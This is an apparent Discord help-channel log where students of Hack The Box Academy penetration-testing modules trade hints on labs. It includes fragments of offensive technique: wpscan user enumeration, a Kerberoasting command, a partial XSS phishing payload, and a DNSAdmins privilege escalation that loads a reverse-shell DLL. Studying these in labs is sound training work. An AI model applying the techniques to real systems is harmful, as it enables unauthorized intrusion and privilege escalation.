#modules

1 messages · Page 100 of 1

zinc marsh
#

well

#

u want to become hacker but u don't want to learn

#

good pov

acoustic owl
#

Not everyone learns at the same rate.
But honestly, network technology are absolute basics that you should really master. Without these basics it will be damn difficult to understand other things.

zinc marsh
#

If u want to become hacker asap then spend all the time on this

trail leaf
#

It’s also just totally okay to not fully understand everything at once and just come back to it tomorrow

valid cipher
#

cryptography i get actually

zinc marsh
#

I told u what i did

#

I searched in google how to escape from the shell

rare topaz
#

or ask chatgpt tbh

#

but personally i'd just ask for screenshots and be done with it

zinc marsh
#

I just search in google "rbash escape"

#

and the 2 first webs i checked they showed how to escape

steady hawk
#

If you google "escaping rbash" the solution is shown in both the first two links displayed

rare topaz
#

well clearly bro dislikes google

zinc marsh
rare topaz
#

"yuu mush tell meh ansser!"

zinc marsh
#

lol

rare topaz
#

well yall aint wrong, 2nd top result for me

#

it's a whole ass article with clearly defined steps and examples.

deep shore
#

Anybody have a moment to give a pointer on the last DNS question in the Footprinting module? I’m running out of ideas.

rare topaz
acoustic owl
deep shore
#

I’ve been through all the wordlists in my seclists Discovery/DNS folder without much luck hunting for a subdomain with a particular last octet. I’ve found one zone so far. Thanks much guys. That should tide me for now.

zinc marsh
#

but if I remeber well u had to enumerate subdomains of the subdomains

rare topaz
#

the subdomain has a subdomain

deep shore
#

DNSeption

zinc marsh
#

delete that, u telling the answer

trail leaf
valid cipher
#

What's the difference between a client-server Infrastructure and a one server Infrastructure

#

they seem like same thing

analog dock
#

this skills assessment turned out to be a lot more difficult than i thought it'd be

#

great way to put everything in module to use

stray heart
#

has anyone done the restricted shell portion of linux priv esc? been working on it for a little bit now and I'm stuck. anyone with a hint?

lyric bolt
#

im a bit confused on the web server pivoting with rpivot module I am doing it exactly as the steps in the module suggest i do it but the webserver cannot be reached through my proxychains any tips?

#

im also unable to interact with the 172.16.5.0/24 network in general through the proxychains with rpivot

#

nvm i think i fixed it my kali has /etc/proxychains4.conf and i renamed it /etc/proxychains.conf and it seems to now work with rpivot

winter blaze
#

i am Stuck at privilege escalation : https://academy.hackthebox.com/module/77/section/844
my progress so far : got to user2, got the flag. Generated ssh key, can't put it to /root/.ssh/authorized_keys (access denied), and despite the fact I left password empty, it still asks for password when I try to ssh using it to either user2 or root at a remote. I'm clearly doing something wrong, but can't figure out what
getting it's indigenous /root/.ssh/id_rsa key also results in nothing since it asks for password for a key anyway (which I obviously do not know)

glad edge
#

Footprinting Lab - Medium, I got the flag but cheated because I looked up the SQL query for HTB password. Now I'm trying to understand how that SQL query worked. Can someone point me in the right direction to understanding it?

rustic sage
#

Can I get some help with logrotate section of "Linux privilege escalation" module?
I been trying to get a reverse shell since an hour and have ensured to follow steps correctly.

vestal fable
#

I'm sutcked at the "using web proxies - burp intruder" section.
I just wanna know if im in the right path here:

zinc marsh
#

any way to find the CLSID to run juicypotato?

rustic sage
rustic sage
#

did you find a way to loop through a list of CLSIDs and test them one by one?

zinc marsh
#

all I try I don't get it works

rustic sage
# zinc marsh Can I ask u how u got it?

I looked it up but I had learned about that when I was doing a HTB machine, I don't remember what it was but the tool I used was either printspoofer or juicypotato and I had to specify CLSID with -c argument. I had to try a few of them until one worked, I believe I followed a pattern but I don't remember it. Unfortunetly, I don't have notes on that subject.

zinc marsh
#

I just needed to modify a bit the .bat file code

rustic sage
#

Does this automate the process of looping through CLSIDs, cause I might need that for another project?

zinc marsh
rustic sage
#

Nice

#

ty for sharing

#

cheers

zinc marsh
#

it takes a bit to find the clsid

#

just take the ones with AUTHORITY\system

zinc marsh
bright arrow
tidal mango
#

I am going back over the Server Side Attack module. on the SSTI exploitation Example 2, can anyone help me figure out to get output using the terminal commands? I can get the flag using tplmap but was hoping to do it manully as well. Thanks!

vestal fable
# bright arrow please explain your question more

Sure! I'm supposed to "Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag". So i'm using the intruder to send the payload .html on /admin and it's returning 403 forbidden, so i tried to change the user agent and host to see if anything changes and i receive a random 200 ok, but the .html still forbidden

umbral wigeon
vestal fable
#

I just need a hint or something, i'm really stucked lol

bright arrow
vestal fable
#

yep, i think the problem is my request

#

GET /§admin§/ HTTP/1.1

User-Agent: Apache/2.4.41 (Ubuntu)

tidal mango
umbral wigeon
tidal mango
tiny grove
#

Hi guys, i'm stuck on the password mutation section of the password attacks module.
I am trying to find the password for the user sam but trying hydra over ftp with the mutated list created from the resources provided will took like 2 hours, there is a way to speed it up or anyone has some hints?

#

i am also using the flag -t 48 if can help

limber wasp
#

hey guys, ive been on the pentesting path today. i'm currently in the web enumeration section. when i started the part of running gobuster dns it had gotten super slow. i figured I needed to respawn the target, and i did. but then that takes forever, longer than normal. i closed the VPN logged out , logged back in and when i went to spawn the target, it was showing this weird ip address. I respawned again, and it gave me a different weird ipaddress. anyone know whats up with this??

wild folio
#

nvm I found what module you're in, the weird ip is normal on this one.

tidal mango
old atlas
#

I am going through the Introduction to windows command line module, in the skill assessment section I find it very hard to ssh to the remote server, I cheched my internet and VPN connection and everything seems good on my end.

Is anyone having the same sluguich sshing?

valid cipher
#

Can someone explain the difference. I'm really not getting it. have googl'd and gpt'd but still can't see the difference

trail leaf
#

Client-server is an umbrella term that refers to any case where many clients ask a server to respond with stuff.
The "one server" depicted on the right is one case of setting up client-server architecture. In that case, you're keeping one or more webapps, a database, etc. all on the one server. This works when the amount of traffic you're handling is small, but when you need to handle more people, that's when you get multiple servers and databases and all of that mess going on.

valid cipher
trail leaf
#

Yes. Client-server is just a general networking concept, the other examples in that module cover different ways of setting up web application infrastructure

valid cipher
#

ok thanks

thorn urchin
#

basically theyre not mutually exclusive models

minor zealot
#

Hey, if I'm struggling with one of the academy modules exercises, would this be the place to ask for help?

jagged prairie
#

Is there a common/easy reason for my nmap scans to be missing ports that are open in a box walkthrough?

analog dock
#

I think you did it earlier in the module

#

It’s in the hint in one of the previous sections, but you need to use custom.rule to mutate that that hint

#

Earlier in the module, not this section

#

So you start taking notes 😄

minor zealot
#

I do need help with this one:

#

been trying for an hour at least lol

#

I can enumerate all the ports with their services and versions, I tried using netcat to connect with imap and pop3

analog dock
#

Good luck with that 😄

minor zealot
#

trying to use tcpdump to see if something pops up as in the lesson but no luck

jagged prairie
#

Taking notes on everything is very helpful

analog dock
#

Are you sure? It should be in the hint of one of the previous sections

minor zealot
#

nothing pops up, which I think I'm either not using tcpdump correctly, or just missing something 😦

analog dock
#

Don’t ctrl+f

#

Actually go to the hint

minor zealot
analog dock
#

Believe me it’s worth taking notes. If you do it now you won’t forget during exam

#

I used to do the same as you and it annoyed me as well

jagged prairie
minor zealot
#

ok I figured out thanks to reddit but honestly, that exercise is misleading in many ways

grave cargo
#

I'm doing it right now, and while I've answered the first hunt, I'm stuck on the second hunt

#

I did, but am stuck on the second question for the skills assessment, did you have any luck?

quick crane
#

can you help me

frozen mesa
#

Attacking Common Applications - WordPress - Discovery & Enumeration
Perform manual enumeration to discover another installed plugin. Submit the plugin name as the answer (3 words).

Used curl, checked the source , but i cant find the correct answer. I know it is noted in the source but I'm looking for something wrong, anyone can give me a help?

autumn pilot
#

interact with the blog

frozen mesa
#

Sorry, that does not help me any further.

molten prawn
#

hello , i love the yearly subscription of the academy haha .

#

it's great .

frozen mesa
fathom pendant
#

The whole point is password cracking. Taking notes on pwned users is super helpful, as it's good practice in live engagements as well

#

It can be done without an email client

twin hearth
#

can anyone help footprinting lab hard, I cannot ssh into the machine

#

||im getting the error Connection closed by 10.129.11.163 port 22||

sage ledge
#

Can anyone help me Intentions machine

abstract bridge
#

can no longer access machines through browser using windows+subsystem?

#

this is using the UDP vpn, using tcp completely breaks it for both subsystem + windows

fiery berry
fathom pendant
#

Your error message seems to indicate that the system you're trying to ssh into may be down

#

Try resetting target and trying again

pliant flower
#

Hi, I'm stuck on the question from "vulnerability assessment" in HTB academy: "What is the name of one of the accessible SMB shares from the authenticated Windows scan?" I've accessed the Nessus and authenticated Windows scan provided on the HTBs VM, but have no idea where to look for it and how to find it... Been trying since yesterday. How do I find the accessible SMB shares?

fathom pendant
#

Search smb in the thing that may help narrow it

#

Iirc nessus shows a lot

fervent apex
#

Can someone help me in encrypting the .cap file which is converted to .txt using john the ripper

#

Sorry thats decrypting

fathom pendant
#

It helps if you give us the module name

#

And section

fervent apex
#

I suppose your server is paid

fathom pendant
#

?

fervent apex
#

I don't have any module

#

I am a beginner

fathom pendant
pliant flower
pliant flower
#

I did search for smb there and it didn't help..

fathom pendant
# pliant flower what is lirc nessus

Iirc meaning if I recall correctly, and "thing" meaning search for smb in the search bar. I don't recall having much difficulty with this module so my memory on this is spotty as I found it boring

pliant flower
#

ok, I'll keep trying..

fathom pendant
#

Also using pwnbox, hit the full screen button its much nicer than doing it from the tiny window

daring gust
#

I found a solution for "Escaping Restricted Shells" in "LINUX PRIVILEGE ESCALATION" module.
It rather looks like workaround but it fits into "think out of the box" idea.
PM me if anyone interested.

pliant flower
fathom pendant
fathom pendant
sly crater
#

Hello everyone!
In my attempts to figure this out, i stumbled upon this server 😄
Had anyone experienced issues with copying and pasting text from Windows to VMWare Virtual Machine running HTB Pwnbox?

It works, but weirdly. I guess only one time per boot big_think

fathom pendant
#

Click the clipboard icon/button

pulsar needle
#

SQL Injection Fundamentals - Subverting Query Logic, the target wont spawn

fathom pendant
misty flower
#

Read the zsh configuration shown in the section above to find what command is mapped to 'll'. Submit the command as the answer. Can anyone help me out?

pulsar needle
#

It didnt work

#

So I tried with another section, it didnt work

pulsar needle
#

None of them seem to work

#

I tried https:// aswell, it didnt work

fathom pendant
#

¯_(ツ)_/¯

#

I haven't done that module

pulsar needle
#

:I

#

f

misty flower
fathom pendant
#

Then using a command that will grab and repeat the line that has a specific string

little wyvern
#

Hi guys there is an error in module 109 section 1035. The good answer is "&" and it accepts only the wrong answer ''new-line"

fathom pendant
#

What is the module and section name

little wyvern
#

Command injection module - identifying filters

#

/module/109/section/1036

fathom pendant
little wyvern
#

Thanks

fathom pendant
#

There is a pinned template to use to submit feedback there

gaunt monolith
#

Hi in Pivoting, Tunneling, and Port Forwarding - SOCKS5 Tunneling with Chisel
what version of chisel can I use in my kali and target to complete module ?

fathom pendant
#

The module should have some hints or have told you how to get there @misty flower

digital pewter
frozen mesa
#

module: attacking common applications --> WordPress --> Perform user enumeration against http://blog.inlanefreight.local. Aside from admin, what is the other user present?

How to enumerate the users? In the module they only use manual ways, is this the correct way and should i guess/fuzz the other account? Or did i miss something to find usernames (other than the blog, the name there does not work "A WordPress commenter".

cinder mortar
frozen mesa
#

tried that, no user results.

heady tusk
#

what is your command looking like?

frozen mesa
#

sudo wpscan --url blog.inlanefreight.local –enumerate u

heady tusk
#

looks pretty similar to what I did, tho I used ||--enumerate as well as specifying an API key||

frozen mesa
#

Done that too, same results as the user enumeration.

heady tusk
#

umm weird

#

I'll rerun it in a minute

pliant flower
#

Which version of Metasploit is free and can be used only through a CLI? - my answer is "Metasploit Framework" but prompt says its incorrect..

#

why it's incorrect ??

heady tusk
frozen mesa
pliant flower
#

USING THE METASPLOIT FRAMEWORK - INTRODUCTION TO METASPLOIT

pliant flower
frozen mesa
#

Have fun 🙂

heady tusk
frozen mesa
frozen mesa
#

module: attacking common applications --> WordPress --> Using the methods shown in this section, find another system user whose login shell is set to /bin/bash.

I've enumerated with sudo wpscan --url blog.inlanefreight.local –enumerate u (found user:doug) , bruteforced the password. Logged in, enumerated users again (wp-admin + xmlrpc) but no extra accounts, in the adminpanel there are only 2 users know.

#

or should i comprimize the rhost first and find there the user?

pulsar needle
#

How would i go on to find the count of these records?

#

How come, they are seen as 1 object but I cant count them

#

I just used count for each of the tables and added them together, idk if its cheating but meh lol

#

Sus

vocal tusk
#

hi guys im suck on this skills assesement the last couple days im getting i dont have permission to view this resource. by far the hardest one so far

#

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 167.172.54.11 Port 32652</address>
</body></html>

#

anyhunt help would be greatly appreciated its the file upload one.

warm drift
#

please help infomation gathering web skills assessment 3rd question I ran this but didn't see server name :curl -I "http://i.imgur.com"
HTTP/1.1 403 Forbidden
Date: Wed, 05 Jul 2023 12:13:08 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset="UTF-8"
Content-Length: 0
Via: HTTP/1.1 forward.http.proxy:3128
Connection: keep-alive

#

question Perform active infrastructure identification against the host https://i.imgur.com. What server name is returned for the host?

zinc marsh
vocal tusk
#

i have the source code and im doing a get request to the dirrectory with the date in front of name

#

and thanks for the repply

zinc marsh
#

it is a hard skills assessment

vocal tusk
#

by far the hardest i know im at the last step its like im missing admin permisions

analog dock
#

Did you successfully upload?

zinc marsh
#

but the source code will give u all the necessary to bypass all

vocal tusk
#

i did

analog dock
zinc marsh
#

and check it with xxd

vocal tusk
#

but instead says i dont have acces to the uploaded photos but i uploaded loads with the intruder beforehand

analog dock
#

If you successfully uploaded with the right extension and magic bytes, you will successfully be able to upload and execute

analog dock
zinc marsh
#

if u got the source, u have alll the info there to be able to exploit the target

muted fiber
#

Hey there, quick question.. as far as you know is it possible to do modules and stuff on an Android tablet?

vocal tusk
vocal tusk
zinc marsh
vocal tusk
zinc marsh
#

why u trying it in the intruder

#

that is to find the bypasses with brute forcing

#

all u need is in the source code

vocal tusk
#

it fuzzes the file names in the get method with the command ls to see if any of my uploaded files respond

plain coral
analog dock
vocal tusk
#

attempt 27896534 hope it works

#

i got a fresh jpg and im getting slightly bigger byte responses now when uploading photo

vocal tusk
#

thanks so much guys

#

tell you one thing after this struglle i am most certainly not a master of upload exploitation

zinc marsh
#

xxd file.jpg | head

#

not more dangerous than trolling in a hacking server I guess kek

novel matrix
#

@zinc marsh just ping me if they continue.

echo roost
#

I assume the DNSadmin exploit is to get a system shell so I can read the flag?

#

Is this the channel to ask for help

#

It seems liek the first part of the section you add your user to the DNS admin group and then toward the end compile the C code to get a reverse shell as system? Did anyone else have issues with this section. I am doing everthing exactly as instructed running the command as admin but some commands are not working.

#

Still have a medium integrity. SO, I run cmd as admin but I can't run the reg query......

turbid tartan
#

i got some problems on logrogate sction in linux privesc module

#

i dont get the right log file

acoustic owl
echo roost
#

how do I add HTB academy role?

turbid tartan
#

bc i tried every logfile ind htb-student folder

novel matrix
acoustic owl
echo roost
#

Then I can ask for help?

echo roost
acoustic owl
#

I think you can have the HTB Academy User role only if you have a silver year subscription

zinc marsh
#

how can i scan the subdomains with aquatone?

echo roost
acoustic owl
zinc marsh
echo roost
#

OKay thanks

zinc marsh
acoustic owl
#

I don't know, the tool was released in 2019 the last release is from 2019. maybe the tool doesn't work anymore?

zinc marsh
#

the list was with only the subdomains

echo roost
# echo roost

Anyone know why this doesn't work? Isn't the point to get system? I am a member of the DNSadmins group but I can't read the flag nor can I run the command in my screenshot with CMD running as admin

#

Is the goal in this section to get a system shell?

acoustic owl
echo roost
#

Here is from the module -

echo roost
# acoustic owl reg query is wrong Proceed exactly as shown in the module.

No worries I get the concept. Can I propose an update to the module. All I had to do is make a reverse shell as an msfvenom dll and added it with dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll. then restarted the dns service and spawned a system shell. The point being that DNS services runs as system and if you're a member of that group "DNSadmins" you can potentially spawn a system shell. I believe that's what the module is trying to explain?

acoustic owl
echo roost
muted fiber
acoustic owl
#

Which module?

#

This question?
Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer.

winged shore
#

I'm trying to do the IDOR in Insecure APIs section and the "Update Profile" button isn't clickable. I've had a similar issue in a previous section where I couldn't click on the Documents button... I just had to keep refreshing the IP til I could. Have yall run into something similar here?

paper gust
#

this looks like a path issue

#

the file you've put the hash in is not accessible at the path you've specified

acoustic owl
#

But you have Kira's password

paper gust
#

so hashcat is not reading it correctly

acoustic owl
paper gust
#

did you escape the hash?

#

since it contains $, you will need to escape it on the command line

#

also your rule doesn't look like it's going to work

#

" in theory but i think both may work depending on your shell

acoustic owl
#

You must first complete Credential Hunting in Linux

winged shore
paper gust
#

doesn't appear to be escaping properly

acoustic owl
#

Is it possible that your browser in which you run the PwnBox blocks something?

winged shore
#

I had a similar problem on a previous section in this module, and after a few refreshes, it worked with no other changes on my end. The browser in the VNC doesn't block anything. It doesnt even show theres a link there to me. It's bizarre

#

I guess I'll just come back to it later

acoustic owl
winged shore
#

I'm more so saying this here to say that this issue is existential, should someone search it wondering the same

acoustic owl
misty current
#

characters in your hashes are seem to be getting escaped

acoustic owl
#

It is a password attacks module. Means you have to crack the password 😉

misty current
#

save the hashes to a file and try cracking them.

acoustic owl
autumn mirage
#

can i someone pm with command injections - skill assesment ?

acoustic owl
#

It is encrypted

zinc marsh
#

Attacking Enterprise Networks -- Web Enumeration & Exploitation -- I think I found the IDOR

#

someone I could ask for sanity check?

acoustic owl
analog dock
#

You need to use custom.rule on that pass to get a mutated list of that word

narrow solar
#

hey friends, i am at Active Directory Enumeration & Attacks - Kerberoasting - from Linux, for 1st Question i am trying this, how to solve this, or am i doing something wrong?

trail leaf
#

Have you checked to make sure that the IP you're passing is actually the IP of the domain controller?

narrow solar
#

oh ok, its an attack host

#

but stell dont get it how to use Getuserspns without creds

#

oh i got it 🥲 😂 that was sneaky

trail leaf
#

If you use Rubeus on a domain joined computer, you can technically Kerberoast without creds

#

Because the credentials are stored in your session

misty mural
#

A question for the class.

I'm working through the file transfers module, and most of the module is a list of commands. With that kind of learning material, do you power through and look back to it as a reference, or is a better strategy to drill memorization?

rare topaz
#

you don't need to memorize what they are tbh

#

mostly you'll just be setting up a python web server and sending a get requestr

misty mural
#

Thank you for your help. I find myself getting caught up in trying to internalize every detail. 😅

analog dock
rare topaz
novel matrix
#

find / -name notes.zip 2>/dev/null

Try this

rare topaz
#

it tells you ur locatedb is outdated.

run updatedb then use locate command again.

or yeah, use find command instead

#

oh ur in a box

#

if it's not ur host vm, usually you don't want to use locate to find files as either the command doesn't exist, or the locatedb is outdated (like u experienced).

You'd want to use the find command as suggested.

vapid isle
#

hey everyone;

Can anyone help me I am stuck on the HTB Academy module of Reverse Shell & Payloads - The live engagement Host-1. I tried to deploy the shell file through the upload file directory but when I try to execute the file it shows me 404 not found.
dose anyone knows about it?

heady geyser
#

could use a hand. stuck on active directory enumeration/dcsync section. i have enumerated the user that has the "reversible encryption option". User is 's*nc**n' . I have confirmed that he has those rights with powershell/powerview. How do i go about finding his cleartext password. I can't use secretsdump.py because the jump host is a windows machine. i try to use mimikatz but it gives an error. feels like i'm missing something dumb. thanks.

heady geyser
rustic sage
#

hello guys

#

"Another possibility is to exclude specific results. For this, the option "-v" is used with grep. In the next example, we exclude all users who have disabled the standard shell with the name "/bin/false" or "/usr/bin/nologin"."

acoustic owl
rustic sage
#

+why i cannot send photos

acoustic owl
acoustic owl
rustic sage
#

but i do not know " grep -v" main method ,is grep for select text only?

heady geyser
#

AD enum/DCsync section

rustic sage
#

ok thanks

heady geyser
#

i'm having a hard timg googling an example of that command

rustic sage
#

anyone here has finished with Footprining module?

#

on Oracle TNS i have tried to install odit.py multiple times but still it doesn't work. can you provide me with answer as long as its last question i need to finish module please?

#

still nothing :/

#

Traceback (most recent call last):
File "/home/******/Documents/Tools/odat/odat.py", line 5, in <module>
from libnmap.parser import NmapParser
ModuleNotFoundError: No module named 'libnmap'

fathom pendant
#

Also follow the instructions given in the section

rustic sage
#

also tried to use it as " python3 odat.py all etc "

#

still nothing

fathom pendant
#

Like I said the section gives an installation script

#

It's possible it wasn't installed properly

rustic sage
fathom pendant
#

Why both?

rustic sage
#

from Pwnbox doesnt work

#

can someone pm plz

heady geyser
#

asking again. thanks. i'm trying to use getuserspns_windows.exe but it keeps saying that i am providing it too few arguments. here is my command. PS C:\Tools> .\GetUserSPNs_windows.exe -target-domain INLANEFREIGHT.LOCAL -dc-ip 172.16.5.5 -request-user INLANEFREIGHT\syncron -request. what am i missing? hard time finding an example online

mighty wharf
#

Hey guys can anyone help me on the thick client application exploit please, I can not work out what I'm doing wrong when trying to download the server

rustic sage
#

i do not understand what is AWK

rare topaz
#

you can google the documentation for awk but in this example it's used to display text in a certain format, this being the first and last result of a string

frail gale
#

Stuck on XSS - Phishing XSS module.

Is there anyone free I can shoot a DM to?

rare topaz
#

just post the problem and what you've tried here

zinc marsh
rare topaz
zinc marsh
#

and also tried from here

rare topaz
#

can you see if using a curl request works

#

or ig changing it w burp

zinc marsh
#

nvm got it

#

I needed to change the name of the cookie also not only the value

frail gale
#

I've created the URL as taught through the module. I enter it to test it and I'm getting only half of the payload completed, the other half is written underneath as "');document.getElementbyId('urlform').remove();">

#

I'm more curious as to what am I doing wrong for the command not to be fully functioning?

trail leaf
#

You might just need to troubleshoot where quotes are being placed and what characters are actually ending up where

#

It's been months since I did the XSS module, but I vaguely remember having to mess with a few things?

#

Haven't even finished the path and don't plan to take the exam right now lol

#

I just wanted to do all of the Windows stuff on Academy because Windows privesc and certain aspects of AD were becoming a weak point

analog dock
#

I have like 5-6 modules to go but if I take the exam after that I’ll get my ass handed to me😂

lyric bolt
#

any one else have trouble with the RDP and SOCKS Tunneling with SocksOverRDP module question? I keep having issues trying to do the command regsvr32.exe SocksOverRDP-Plugin.dll

#

nvm had to make sure win defender wasnt deleting it

analog dock
#

I thought you were doing that module blind😌

zinc marsh
#

lol

zinc marsh
unborn shard
#

What you show in the image is not Java, it's a very basic XSS payload.. aka html with a bit of JS in the "onerror" parameter

#

The server knows nothing as it's inanimate, but its members maybe do.. anyway, what is with that question?

tawdry vapor
#

can anyone help me with lfi module? I can't do this task "Fuzz the web application for exposed parameters, then try to exploit it with one of the LFI wordlists to read /flag.txt"

zinc marsh
#

then I moved to xml

zinc marsh
#

bruh I finally got it, I was struggling with the easiest one lol

rustic sage
#

i am in this section in linux fundmental

fervent flax
# tawdry vapor anyone?

If I remember correct, you have to try different wordlists. One of them will hit, but I do not remember which.

tawdry vapor
#

I discovered the parameter and I did a fuzzing in the Server Files

zinc marsh
#

did this problem happen to anyone else?

#

I have it sometimes and idk why

rustic sage
zinc marsh
#

difficulty is subjective to ur knowledge

royal sigil
zinc marsh
royal sigil
#

i used mu own machine

zinc marsh
#

I am on my own machine lol

royal sigil
#

ah sorry

#

because yesterday i have used the machine of htb and i have this problem

zinc marsh
#

now is working for any reason

analog dock
#

Response has been slow for me today as well with the web modules

#

Intruder took ages

whole grotto
#

hi everyone, i am in the lab easy common services, i found the hash of fiona in the mysql database and i want to know if it's useful for the rdp service. Moreover, i want to know if it's normal that there is an "*" at the beginning of the hash. TY

whole grotto
analog dock
#

Have you tried cracking it?

rustic sage
#

Has anyone completed the newly updated "Linux privilege escalation" module?
I am stuck on 2 sections and I just can't figure it out

whole grotto
valid cipher
unborn shard
#

This ofc assuming you have reviewed the module description before starting it and looked for the prerequisite modules, which is right at the end of the description and above "relevant paths"

valid cipher
unborn shard
valid cipher
#

lemme find an example

whole grotto
analog dock
zinc marsh
#

@analog dock how are u going with the path?

analog dock
zinc marsh
#

ur will do pro labs and machines

analog dock
#

I won’t do machines

#

Maybe a pro lab

#

Probably just go through the modules another time and take good notes

#

Then probably spend some extra time in ad and web parts

zinc marsh
#

I am trying to do the attacking enterprise networks blindly and is being hard

analog dock
#

I’m not surprised

#

If I go for the exam straight after the course I will get destroyed lol

zinc marsh
#

I have done some things with no problem

#

but I have been stuck 4 times already

thorn urchin
#

I got stuck a lot doing it blind too

thorn urchin
#

one part I honestly dont know how youd figure out doing blind

#

So dont feel bad if you have to cave a little

zinc marsh
#

and I am stuck again lol

thorn urchin
#

oh I thought that part was easy 😂

zinc marsh
#

I tried all

#

doing brute force as last hope lol

thorn urchin
#

foothold portion of monitoring?

zinc marsh
thorn urchin
#

mmkay

#

keep doing what youre doing then

#

youll get it eventually

zinc marsh
zinc marsh
proud pine
#

I feel like you don't necessarily have to be able to do all of 'attacking enterprise networks' blind, but you should at least be able to get to domain admin.

#

That's all that really matters, to show that you understand the material.

thorn urchin
tiny grove
#

Hi guys, i'm stuck on the question of the Credential Hunting in Linux, i got a shell with kira and got the passwd.bak file on will's /home/.backups but i can't transfer shadow.bak, i tried to crack firefow passwords of kira using the tool suggested on the module but it gives a python error, maybe because the box is using python 3.8 instead of python 3.9.
Someone has a hint?

thorn urchin
#

if the file can be read it can be transferred

unborn shard
# valid cipher like this one https://academy.hackthebox.com/module/18/section/74

That is deducible and requires no googling at all
In order to know what command to execute to run a http server just start type "http" in the terminal and as taught to you by some previous section use TAB to see what autocomplete suggestions you have
From the 2 suggestions, you will immediately understand that the command you have to run is http-server.
In order to run the server on the port the question asks you to you'll have to use the correct argument, which you still don't know
So, again, as taught in the previous sections, just type -h after a command in order to know the different arguments
Doing http-server -h you find out that the correct argument to use is -p or --port followed by your port number
The question specifically tells you: "use the short argument to specify the port number".. so it's clear that you'll have to use -p as the answer
Congrats, you got your answer using only things you've learned in that module alone

tiny grove
zinc marsh
#

just follow what it says in the section

zinc marsh
whole grotto
#

Hey i don't understand how can i retrieve the admin hash in the hard lab common services module. I'm stuck in the last question, i'm connected to the database and i have impersonate a user. I found a linked database and i'm stuck here

#

can someone help me pls

valid cipher
thorn urchin
#

Ive never used http-server

#

didn't realize that was preinstalled

#

I usually use a python module

zinc marsh
#

same

#

I always use python3 -m http.server 80

#

or php -S 0.0.0.0:80

valid cipher
tight mesa
#

hello everyone, someone who has made Use metasploit framework module to ask something

#

I'm stuck with Sessions & Jobs section

#

I established a meterpreter session in the target but can't escalate privileges with the sudo exploit

#

I'm receiving this error message once I try to establish a meterpreter

[-] Msf::OptionValidateError The following options failed to validate: SESSION
[*] Exploit completed, but no session was created.```
#

any hint, help, stone.....!!!! whatever

thorn urchin
#

its also mostly just a lab exercise thing. In the real world youd be staging a more robust server

valid cipher
thorn urchin
#

I will never say no way

#

could be a bug in the http module as unlikely as it is

#

you could end up putting sensitive stuff yourself in there that could mess things up to

#

ect

#

Most people arent going to waste time trying to target other people in a lab

#

and you should be doing things froma VM so even if you do get pwned you just reset the VM no biggie

valid cipher
#

kali or parrot

zinc marsh
#

which is the .asp shell which uses username and password instead of IP

thorn urchin
unborn shard
# valid cipher ok smarty pants not everyone is big brain like u

I don't get which of the steps I've showed you would you consider complicate enough to call me big brain for doing them.. it's just reading the sections and actually understanding them.. also, I would suggest you to mind your own language.. I am not your friend to be called names, there has be respect as per rules of the server

thorn urchin
unborn shard
#

I'm sorry to hear that, how come?

thorn urchin
prisma spruce
#

Yes, it is indeed a myth.

#

Having done the module, it's basically a bunch of metaphysical nonsense disguised as some sort of pep talk.

#

If your argument is basically "if you work hard at something you'll probably eventually be able to do it", then I don't really disagree.

#

But so many of the examples given are just dubious.

#

And then there's some really funny phrasing, like "the official definition of a question"

#

I am glad academy mostly sticks to pentesting, lol.

unborn shard
# thorn urchin You were the jackass first with your condescending as fuck answer to their quest...

I think you haven't paid much attention to what happened, because despite you mentioning it, there is no question they've made at any point in our conversation.. in fact it all started with them giving an arguably wrong answer to somebody else, saying that some questions can't be answered with the knowledge of the module alone

I have disputed that and they offered to provide an example in support of the argument.. they provided me said example and I have explained step by step how someone could answer it with the sole help that module provided.. well, until here it's all good, we were just having a normal conversation.. then I just get called names

Tbh I am not offended, it's just that I don't know about you but I would rather not be called that for no reason by some stranger.. hence I asked them to be more respectful

prisma spruce
#

The linux fundamentals module is honestly not that good. It sort of jumps all over the place,

#

It's a free module, so I'm not complaining too much about it, but it's sort of hard to sell you on the training if the free modules are poor,

iron plaza
#

what are you on about? I see the outputs pretty similar

rare topaz
#

Personally it doesn't matter, just crack it.

iron plaza
rare topaz
#

Nah it's not ur fault

#

It's literally the same hash

#

I personally wouldn't care and just try cracking it.

iron plaza
rare topaz
#

Could be, maybe version diff or the os being diff changes smthn

vital adder
#

yo @thorn urchin have you done the exploit Thick-Client from Attacking Common Applications? i just wrote a quick walkthrough if you want to have a look? it's could be useful for helping other but it's a tier 2 module so of course i can't share it publicly

placid edge
#

anyone done the Web Service & API Attacks module? I want to discuss the last skill assignment cause i think i got the flag in the wrong way.

fathom pendant
#

Have you tried the mutated wordlist or a different wordlist like rockyou

#

I mean according to the ss you've only done the loveyou mutation list

#

Also try using john instead of hashcat

thorn urchin
vital adder
#

also the section seem like the box official writeup (almost 1 to 1)

fathom pendant
#

Looks like it's failing bc of the (2)

thorn urchin
#

I mean some people said they faired better by watching ippsec's video on the box

vital adder
#

i did and his video this so good for debugging some of the stuff but his video and other writeup are trying to get RCE but the section need you to get an admin account to access ipconfig or something

fathom pendant
#

The error it gives you

#

Also you should be making the mutated wordlist from the command given in the "password mutations" section

rugged veldt
#

For Submit the contents of the flag.txt file on the Administrator desktop on MS01 in the AD Enumeration & Attacks - Skills Assessment Part I, I have chisel setup on the web shell and attempting to use proxychains to setup evil-winrm, but how do i know which internal host IP to use? i ran a nmap scan which said all ports were up

fathom pendant
#

Again ready what I said

autumn pilot
#

grab the hash from the workstation as you have already generated it and crack it

rugged veldt
barren escarp
#

I'm extremely stuck on the INTRODUCTION TO NOSQL INJECTION module section "In-Band Data Extraction" please help!

trail leaf
acoustic owl
rugged veldt
#

I have created a golden ticket for the DC01 in the AD Enumeration & Attacks - Skills Assessment Part I and am unable to ls the C$ directory? I have ran klist and Kerberos ticket is in memory

#

I am getting a cannot find path error

#

I am working from the MS01 machine in an RDP session

rustic sage
#

Hi I. Working on using metasploit framework module and I'm having the message

Exploit Completed but no session was created

How do I fix that
I'm using a Kali Linux virtual machine

#

I need help please

supple patio
#

And can you please provide more information

rustic sage
supple patio
#

<@&861185840277487616>

rustic sage
supple patio
high crown
supple patio
#

